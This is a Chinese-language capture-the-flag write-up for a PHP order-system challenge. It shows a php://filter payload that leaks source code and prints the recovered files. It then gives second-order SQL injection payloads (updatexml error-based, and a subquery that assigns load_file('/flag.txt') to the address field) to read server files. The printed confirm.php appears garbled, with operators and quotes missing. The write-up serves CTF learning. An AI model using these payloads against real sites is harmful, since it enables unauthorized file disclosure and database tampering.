题目分析
功能点分析
看到查询界面,第一时间想到了xss,经过测试存在xss,但没用
然后想到了sql注入,注册的时候在地址的位置输入一个单引号,再点击修改收货地址的时候报错(为什么直接测地址的输入框呢?纯第六感)
将报错注入的payload写上去,并没有成功读到内容,猜测变量应该是在sql语句中的位置不对
伪协议读取源码
右键查看页面源代码
发现一个file参数,尝试伪协议读取代码
payload:?file=php://filter/read=convert.base64-encode/resource=index.php
读取成功,base64解码后得到源代码
然后又分别读取了以下页面的代码
search.php
change.php
delete.php
confirm.php
search.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
change.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
delete.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单删除成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
confirm.php
php
require_once config.php;
var_dump($_POST);
if(!empty($_POST[user_name]) && !empty($_POST[address]) && !empty($_POST[phone]))
{
$msg = '';
$pattern = 'selectinsertupdatedeleteandorjoinlikeregexpwhereunionintoload_fileoutfilei';
$user_name = $_POST[user_name];
$address = $_POST[address];
$phone = $_POST[phone];
if (preg_match($pattern,$user_name) preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = select from `user` where `user_name`='{$user_name}' and `phone`='{$phone}';
$fetch = $db-query($sql);
}
if($fetch-num_rows0) {
$msg = $user_name.已提交订单;
}else{
$sql = insert into `user` ( `user_name`, `address`, `phone`) values( , , );
$re = $db-prepare($sql);
$re-bind_param(sss, $user_name, $address, $phone);
$re = $re-execute();
if(!$re) {
echo 'error';
print_r($db-error);
exit;
}
$msg = 订单提交成功;
}
} else {
$msg = 信息不全;
}
代码分析
先丢到代码审计系统里边自动审计一下
显示change中可能存在sql注入
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
去掉双引号的sql语句为
update `user` set `address`='.$address.', `old_address`='.$row['address'].' where `user_id`=.$row['user_id'];
代码中将$use_name和$number进行了过滤,没有对$address进行过滤,可以对该参数进行构造
有两种思路
1、使用报错函数,注册的时候构造address字段,点击修改信息时,会调用注册时输入的address的内容,从而产生二次注入
2、修改订单时使用子查询给address赋值,然后点击查询订单也可以得到我们想要的信息
解法一
报错函数的位置在where后面,构造payload
payload:1' where `user_id`=updatexml(1,concat(0x7e,database(),0x7e),1)#
注册完成后点击修改订单,输入姓名、电话后点击提交,注入成功
按照正常思路,接下来爆破库名、表名、字段名,然后得到flag
然而,本题的flag在flag.txt文件中(呜呜红温了)
同样的操作方法
payload:1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#
这个报错函数只显示30位,再查询后面几位
payload:1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),31,60)),0x7e),1)#
解法二
先看payload
payload:address=',`address`=(select(load_file("/flag.txt")))#
构造后的sql语句
原查询语句:update `user` set `address`='.$address.', `old_address`='.$row['address'].' where `user_id`=.$row['user_id'];
构造后语句:update `user` set `address`='',`address`=(select(load_file("/flag.txt")))#
通过子查询,将所有的address全部赋值为我们要查询的内容,然后通过查询订单得到内容
提交一个正常的订单,然后在修改订单界面输入payload,点击修改订单
然后点击查询订单